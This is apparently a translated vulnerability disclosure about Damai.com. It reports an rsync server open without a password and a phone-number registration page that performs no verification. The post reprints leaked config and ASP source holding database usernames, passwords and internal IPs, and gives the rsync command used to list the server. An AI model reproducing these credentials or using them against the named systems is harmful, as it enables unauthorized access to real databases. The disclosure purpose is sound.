Damai.com's sensitive information is leaked again (security is dynamic) and Solutions

Damai.com's sensitive information is leaked again (security is dynamic) and Solutions

Use another person's mobile phone to register.
Damai.com sensitive information leakage and a vulnerability that can be registered using any mobile phone number

 

1. Weak Password of damai.com rsync server
 

rsync 58.83.157.187::website

 

drwxr-xr-x           0 2015/01/13 15:25:10 .-rw-r--r--     4144684 2014/04/24 11:06:30 mchannelcms.damai.cn.rar-rw-r--r--     4313299 2012/11/28 14:22:04 mm.rar-rw-r--r--          11 2011/10/27 16:10:44 nagiostest.htmdrwxr-xr-x           0 2014/12/09 15:15:59 163.m.damai.cndrwxr-xr-x           0 2015/01/12 02:40:18 AppMultiple.damai.cndrwxr-xr-x           0 2015/01/12 02:40:16 AppPlatforms.damai.cndrwxr-xr-x           0 2015/01/12 02:40:18 MobileValidatedrwxr-xr-x           0 2015/01/12 02:40:18 NewSh.piao.com.cndrwxr-xr-x           0 2014/04/23 01:19:41 NewYear2012.damai.cndrwxr-xr-x           0 2015/01/12 02:40:19 Newother.piao.com.cndrwxr-xr-x           0 2014/11/12 10:25:10 Piao2009Admindrwxr-xr-x           0 2014/04/23 01:19:43 Pony.damai.cndrwxr-xr-x           0 2012/05/31 17:19:19 admin.piao.com.cn90drwxr-xr-x           0 2014/04/23 01:19:43 admin.piao.com.cn91drwxr-xr-x           0 2014/10/31 21:13:37 alipay.m.damai.cndrwxr-xr-x           0 2014/04/23 01:19:41 alladmindrwxr-xr-x           0 2015/01/12 02:40:16 anti.damai.cndrwxr-xr-x           0 2012/05/28 15:26:40 api.flash.damai.cndrwxr-xr-x           0 2014/12/03 01:59:54 api.movie.damai.cndrwxr-xr-x           0 2014/04/23 01:19:41 api.scorecenter.damai.cndrwxr-xr-x           0 2014/12/09 10:50:39 banka.damai.cndrwxr-xr-x           0 2012/05/28 15:12:19 biz.damai.cndrwxr-xr-x           0 2015/01/12 02:40:19 bj.piao.com.cndrwxr-xr-x           0 2012/05/31 17:28:31 bus.piao.com.cndrwxr-xr-x           0 2014/06/17 21:45:42 cd_en_piaodrwxr-xr-x           0 2013/01/15 20:17:28 cdadmin.piao.com.cndrwxr-xr-x           0 2011/10/27 16:13:15 city.piao.com.cndrwxr-xr-x           0 2014/04/23 01:19:41 classical.damai.cndrwxr-xr-x           0 2014/09/15 11:09:31 cmb.m.damai.cndrwxr-xr-x           0 2014/04/23 01:19:41 cms.damai.cndrwxr-xr-x           0 2015/01/20 23:46:33 cms1.damai.cndrwxr-xr-x           0 2011/10/27 16:13:31 cooperdrwxr-xr-x           0 2014/04/23 01:19:41 cp.piao.cndrwxr-xr-x           0 2015/01/12 02:40:17 cpe.damai.cndrwxr-xr-x           0 2015/01/12 02:40:17 cpgateway.piao.com.cndrwxr-xr-x           0 2015/01/12 02:40:20 d.damai.cndrwxr-xr-x           0 2011/10/27 16:14:33 damai.95516.netdrwxr-xr-x           0 2015/01/08 21:34:12 damaisdk_datadrwxr-xr-x           0 2012/11/20 21:13:18 dianjiang.damai.cndrwxr-xr-x           0 2012/05/31 19:48:46 dianjiang1.damai.cndrwxr-xr-x           0 2015/01/12 02:40:18 dianjiang2.damai.cndrwxr-xr-x           0 2015/01/12 02:40:17 diy.damai.cndrwxr-xr-x           0 2012/06/02 23:26:39 djmanage.damai.cndrwxr-xr-x           0 2012/06/02 23:26:39 djmanage1.damai.cndrwxr-xr-x           0 2015/01/12 02:40:16 djmanage2.damai.cndrwxr-xr-x           0 2014/04/23 01:19:41 drama.damai.cndrwxr-xr-x           0 2014/07/02 21:59:40 e.damai.cndrwxr-xr-x           0 2012/06/14 19:38:17 e1.damai.cndrwxr-xr-x           0 2015/01/12 02:40:17 edm.damai.cndrwxr-xr-x           0 2015/01/12 02:40:19 en.piao.com.cndrwxr-xr-x           0 2014/10/31 00:13:55 en_piaodrwxr-xr-x           0 2015/01/12 02:40:16 enmanage.damai.cndrwxr-xr-x           0 2015/01/12 02:40:17 ewalletdrwxr-xr-x           0 2015/01/12 02:40:19 fansaction.damai.cndrwxr-xr-x           0 2015/01/12 02:40:17 fenghuang.damai.cndrwxr-xr-x           0 2015/01/12 02:40:20 global.damai.cndrwxr-xr-x           0 2014/10/31 00:17:45 gz_en_piaodrwxr-xr-x           0 2013/06/04 17:38:08 gzadmin.piao.com.cndrwxr-xr-x           0 2013/07/01 10:23:21 gznews.piao.com.cndrwxr-xr-x           0 2014/05/22 10:06:18 i.damai.cndrwxr-xr-x           0 2013/08/27 18:24:34 jf.damai.cndrwxr-xr-x           0 2015/01/12 02:40:19 jp_piaodrwxr-xr-x           0 2014/10/30 20:08:06 kids.damai.cndrwxr-xr-x           0 2011/09/05 14:02:08 kr_piaodrwxr-xr-x           0 2014/04/23 01:19:41 live.damai.cndrwxr-xr-x           0 2015/01/12 02:40:19 lycprogramorderdealdrwxr-xr-x           0 2015/01/20 16:50:59 m.damai.cndrwxr-xr-x           0 2015/01/12 02:40:17 mai.damai.cndrwxr-xr-x           0 2015/01/12 02:40:18 manti.damai.cndrwxr-xr-x           0 2015/01/12 02:40:17 mapi.damai.cndrwxr-xr-x           0 2015/01/12 02:40:19 mark.damai.cndrwxr-xr-x           0 2014/04/23 01:19:41 matix.netdrwxr-xr-x           0 2015/01/12 02:40:18 mayday3d.damai.cndrwxr-xr-x           0 2014/04/23 01:19:42 mball.damai.cndrwxr-xr-x           0 2015/01/12 02:40:18 mbanka.damai.cndrwxr-xr-x           0 2015/01/12 02:40:18 mchannelcms.damai.cndrwxr-xr-x           0 2015/01/12 02:40:19 mdianying.damai.cndrwxr-xr-x           0 2015/01/12 02:40:19 mdrama.damai.cndrwxr-xr-x           0 2014/04/23 01:19:43 metasearch.damai.cndrwxr-xr-x           0 2015/01/12 02:40:18 mjf.damai.cndrwxr-xr-x           0 2015/01/12 02:40:18 mmessage.damai.cndrwxr-xr-x           0 2015/01/12 02:40:16 mmovie.damai.cndrwxr-xr-x           0 2015/01/12 02:40:19 mmsg.damai.cndrwxr-xr-x           0 2015/01/12 02:40:19 mnews.damai.cndrwxr-xr-x           0 2014/04/23 01:19:41 mobile.damai.cndrwxr-xr-x           0 2015/01/12 02:40:18 mobileapi.damai.cndrwxr-xr-x           0 2014/12/03 01:09:43 movie.damai.cndrwxr-xr-x           0 2015/01/12 02:40:17 moviesitedrwxr-xr-x           0 2014/03/06 21:13:04 moviex.damai.cndrwxr-xr-x           0 2015/01/12 02:40:20 mpay.damai.cndrwxr-xr-x           0 2014/11/27 09:23:57 mperform.damai.cndrwxr-xr-x           0 2015/01/15 09:53:35 mperform1.damai.cndrwxr-xr-x           0 2012/10/25 23:50:12 mperfrom.damai.cndrwxr-xr-x           0 2014/04/23 01:19:41 mpopup.damai.cndrwxr-xr-x           0 2015/01/12 02:40:17 mprivilege.damai.cndrwxr-xr-x           0 2014/04/23 01:19:44 mqa.damai.cndrwxr-xr-x           0 2015/01/12 02:40:20 mrock.damai.cndrwxr-xr-x           0 2015/01/12 02:40:18 mscore.damai.cndrwxr-xr-x           0 2015/01/12 02:40:17 mshop.damai.cndrwxr-xr-x           0 2015/01/12 02:40:18 mshoping.damai.cndrwxr-xr-x           0 2014/01/14 12:17:07 msubcenter.damai.cndrwxr-xr-x           0 2014/04/23 01:19:48 msuperticket.damai.cndrwxr-xr-x           0 2015/01/27 17:46:51 mtang.damai.cndrwxr-xr-x           0 2015/01/12 02:40:20 mtravel.damai.cndrwxr-xr-x           0 2014/11/06 20:36:36 muserdata.damai.cndrwxr-xr-x           0 2015/01/12 02:40:17 mvenue.damai.cndrwxr-xr-x           0 2015/01/12 02:40:17 mwarn.damai.cndrwxr-xr-x           0 2015/01/12 02:40:18 news.damai.cndrwxr-xr-x           0 2012/07/02 11:08:57 news.piao.com.cndrwxr-xr-x           0 2015/01/12 02:40:19 nothingSitedrwxr-xr-x           0 2015/01/12 02:40:20 npapi.damai.cndrwxr-xr-x           0 2015/01/12 02:40:18 open.damai.cndrwxr-xr-x           0 2015/01/12 02:40:19 page.damai.cndrwxr-xr-x           0 2015/01/12 02:40:19 paytemp.damai.cndrwxr-xr-x           0 2015/01/12 02:40:17 perdrwxr-xr-x           0 2014/01/14 12:18:03 permmovie.damai.cndrwxr-xr-x           0 2014/12/25 23:21:53 permovie.damai.cndrwxr-xr-x           0 2015/01/12 02:40:17 psm.damai.cndrwxr-xr-x           0 2015/01/12 02:40:18 qinz.damai.cndrwxr-xr-x           0 2014/03/06 21:13:14 rock.damai.cndrwxr-xr-x           0 2014/10/30 22:10:40 s.damai.cndrwxr-xr-x           0 2015/01/12 02:40:17 sadmin.damai.cndrwxr-xr-x           0 2012/06/02 23:29:40 sadmin.piao.com.cndrwxr-xr-x           0 2014/12/09 15:39:01 sale.damai.cndrwxr-xr-x           0 2015/01/12 02:40:17 sbuy.damai.cndrwxr-xr-x           0 2015/01/12 02:40:17 seoeedrwxr-xr-x           0 2011/08/31 03:13:31 sh.piao.com.cndrwxr-xr-x           0 2011/09/05 14:05:45 sh.piao.com.cn90drwxr-xr-x           0 2013/08/09 11:24:37 sh_en_piaodrwxr-xr-x           0 2011/10/27 16:46:08 shnews.piao.com.cndrwxr-xr-x           0 2015/01/12 02:40:20 sina.damai.cndrwxr-xr-x           0 2014/10/31 08:37:16 sinabuy.damai.cndrwxr-xr-x           0 2015/01/12 02:40:17 sseat.damai.cndrwxr-xr-x           0 2015/01/12 02:40:20 super.damai.cndrwxr-xr-x           0 2014/04/23 01:19:46 superticket.damai.cndrwxr-xr-x           0 2015/01/12 02:40:18 t.damai.cndrwxr-xr-x           0 2015/01/12 02:40:18 tang.damai.cndrwxr-xr-x           0 2014/04/23 01:19:43 train.piao.com.cndrwxr-xr-x           0 2015/01/12 02:40:18 travel.damai.cndrwxr-xr-x           0 2014/03/13 15:19:55 traveloff.damai.cndrwxr-xr-x           0 2015/01/12 02:40:16 union.damai.cndrwxr-xr-x           0 2015/01/12 02:40:20 unioncms.damai.cndrwxr-xr-x           0 2015/01/12 02:40:17 venue.damai.cndrwxr-xr-x           0 2015/01/12 02:40:19 wangzhanhoutai2009.damai.cndrwxr-xr-x           0 2015/01/12 02:40:17 wap.damai.cndrwxr-xr-x           0 2015/01/12 02:40:17 wr.piao.com.cndrwxr-xr-x           0 2015/01/12 02:40:20 www.3721inn.comdrwxr-xr-x           0 2015/01/12 02:40:19 www.baotoo.comdrwxr-xr-x           0 2015/01/12 02:40:18 www.czslyydd.comdrwxr-xr-x           0 2015/01/12 02:40:17 www.maikr.comdrwxr-xr-x           0 2015/01/12 02:40:17 www.maitix.comdrwxr-xr-x           0 2011/09/05 14:54:57 www.piao.com.cndrwxr-xr-x           0 2015/01/12 02:40:19 zdj.damai.cndrwxr-xr-x           0 2015/01/12 02:40:17 zhaopin.damai.cndrwxr-xr-x           0 2015/01/12 02:40:18 zzj.damai.cn

Because some of damai.com's official websites are aspx, I think this may be an old website backup.

However, there is still a lot of sensitive information in it. Mainly concentrated on Web. config and some asp files linked to the database.

It is completely downloadable.

For example, the ContoDb. asp file.
 

Function OpenConn (sitename) if sitename = "" then response. write "OpenConn (sitename) parameter is blank": response. redirect "login. asp ": response. end () dim constrconstr = "" constr = "driver = {SQL server}; server = 192.168.68.175; database = newoldpiaodb; UID = piao2008; PWD = newpiao2008! @ # "Domain =" www.piao.com.cn "if sitename =" 44 "thendomain =" tj.piao.com.cn "session (" sitename ") = "Tianjin" end ifif sitename = "24" thendomain = "xa.piao.com.cn" session ("sitename ") = "Xi'an" end ifif sitename = "42" thendomain = "cs.piao.com.cn" session ("sitename ") = "Changsha" end ifif sitename = "27" thendomain = "cd.piao.com.cn" session ("sitename ") = "Chengdu" end ifif sitename = "28" thendomain = "cq.piao.com.cn" session ("sitename") = "heavy Qing "end ifif sitename =" 46 "thendomain =" suz.piao.com.cn "session (" sitename ") = "Suzhou" end ifif sitename = "15" thendomain = "nj.piao.com.cn" session ("sitename ") = "Nanjing" end ifif sitename = "34" thendomain = "km.piao.com.cn" session ("sitename ") = "Kunming" end ifif sitename = "50" thendomain = "gy.piao.com.cn" session ("sitename ") = "Guiyang" end ifif sitename = "31" thendomain = "sz.piao.com.cn" session ("sitename") = "Shenzhen" end ifif sitename = "4" thendomain = "gz.piao.com.cn" session ("sitename") = "Guangzhou" end ifif sitename = "26" thendomain = "hz.piao.com.cn" session ("sitename ") = "Hangzhou" end ifif sitename = "5" thendomain = "sh.piao.com.cn" session ("sitename ") = "Shanghai" end ifif sitename = "city" thendomain = "city.piao.com.cn" session ("sitename") = "national" constr = "driver = {SQL server}; server = 220.181.68.175; database = city_piao_db; UID = piao_citys_site; PWD = site !)) 01 "end ifdim seoconnset seoconn = server. createObject ("adodb. connection ") response. write constrseoconn. open constrif err. number> 0 thenresponse. write "failed to open database" response. end () end ifset OpenConn = seoconnend function

It contains some database usernames and passwords. If synchronization fails, the IP address 220.181.68.175 cannot be pinged.

Some sensitive content in Web. config is as follows:
 

<ConfigSections> <section name = "voosay. controller "type =" Voosay. web. framework. controllerSection, Voosay. web, Version = 1.0.0.0, Culture = neutral, publicKeyToken = null "allowLocation =" true "allowDefinition =" Everywhere "partition =" MachineToApplication "overrideModeDefault =" Allow "partition =" true "requirePermission =" true "/> </configSections> <! -- Voosay. the controller node is used to specify the Assembly and namespace of the page presentation layer --> <voosay. controller assembly = "App. controller, Version = 1.0.0.0, Culture = neutral, PublicKeyToken = null "namespace =" App. controller. pages "/> <appSettings> <add key =" ImgServer "value =" http://pimg.damai.cn/ "/> <Add key =" changan_venueid "value =" 69 "/> <add key =" need_devide_maitix "value =" 10009 "/> <add key =" ippath "value = ""| APPBASE | IP_Data \ QQWry. dat "/> <add key =" xmlpath "value =" D: \ work \ website \ AppPlatforms.damai.cn \ View \ Manage \ ChangAn \ Excel \ "/> <add key =" vendorIdMSG "value =" 5 "/> <add key =" passwordMSG "value = "piaowu_cupclub"/> <add key = "vendorId" value = "000000000000033"/> <add key = "password" value = "c Um211.144.139.186 "/> <add key =" Memcached_ServerList "value =" 192.168.68.144: 11211 "/> <add key =" MongDB-thirdPiao "value =" server = 192.168.68.144: 10144 "/> <add key =" damaisdk "value =" system = third_universal; sess-timeout = 30; log-out = logs; "/> <add key =" LiveConnectionString "value =" Data Source = 192.168.68.161 \ SQLpointA, 14330; Initial Catalog = piao_3.0; User ID = Piao_3.0_owner; password = bEEv @ # $ fghcx12 "/> <add ke Y = "BJMatixConnectionString" value = "Data source = 192.168.68.161 \ SQLpointA, 14330; Initial Catalog = PiaoCenterDB; User ID = PiaoCenterDB_owner; Password = 45GG6f !! @ $ ^ D; Connect Timeout = 60000 "/> <add key =" SHMatixConnectionString "value =" Data Source = 192.168.68.161 \ SQLpointA, 14330; Initial Catalog = SH_PiaoCenterDB; user ID = SH_PiaoCenterDB_owner; Password = xcBBv1! @ # % ^ 20; Connect Timeout = 60000 "/> <add key =" GZMatixConnectionString "value =" Data Source = 192.168.68.161 \ SQLpointA, 14330; Initial Catalog = GZ_PiaoCenterDB; user ID = GZ_PiaoCenterDB_owner; Password = kuyDD) (* ^ % t46; connect Timeout = 60000 "/> </appSettings> <connectionStrings> <add name =" BJMatix "connectionString =" Data source = 192.168.68.161 \ SQLpointA, 14330; Initial Catalog = PiaoCenterDB; user ID = PiaoCenterDB_owner; Password = 45GG6f !! @ $ ^ D; Connect Timeout = 60000 "providerName =" System. data. sqlClient "/> <add name =" shopping "connectionString =" Data Source = 192.168.68.162 \ SQLpointB, 14332; Initial Catalog = Shopping; User ID = shopping_owner; password = 45R6nFF # $ % dfggf; Connect Timeout = 60000 "providerName =" System. data. sqlClient "/> <add name =" crm "connectionString =" packet size = 8192; user id = CRM_owner; password = ytr (DD) F % $ #! 789; data source = 192.168.68.162 \ SQLpointB, 14332; persist security info = false; initial catalog = CRM; Connect Timeout = 120 "providerName =" System. data. sqlClient "/> <add name =" AppPlatforms "connectionString =" Data Source = 192.168.68.162 \ SQLpointB, 14332; database = cp; uid = CP_owner; pwd = )) NVN (* $ 002YUY "providerName =" System. data. sqlClient "/> <add name =" kaixin "connectionString =" Data Source = 192.168.68.163 \ SQL2008, 1 4332; user id = kaixin_owner; password = J ### @ KL456; database = kaixin; "providerName =" System. data. sqlClient "/> <add name =" AppPlatforms_old "connectionString =" Data Source = 192.168.68.163 \ sql2008, 14332; user id = ChinaPay_owner; password = FFDSD! @ # GHLK; database = ChinaPay; "providerName =" System. Data. SqlClient "/> </connectionStrings> <system. web>

Password users of many Intranet databases.

There are many components. There are too many things.

There are too many things that can be mined.





2. One vulnerability that can register all mobile phones and emails

Domain: cmb.damai.cn: this domain is also particularly interesting.

If the user does not log on to the domain, the user is required to log on or register. Registration page:

Http://cmb.m.damai.cn/reg.aspx? From = userinfo. aspx

The registration interface is like this.
 

Enter your mobile phone number to register your account. No verification is required. In addition, accounts registered in this domain are common in other domains, and registered accounts cannot be registered again. What can I do ?? I can immediately register all the mobile phone numbers with a damai.com, so that the user holding this number can no longer register damai.com. I can register all unregistered damai.com users in disguise so that they cannot register.
 

Any mobile phone can be registered on-site registration.

Solution:

1. rsync server permission Control

2. It is recommended that security personnel perform security checks on all damai.com domains. It seems that there are many problems in many domains and they are waiting for exploration. Even

3. Do not launch a domain without security check.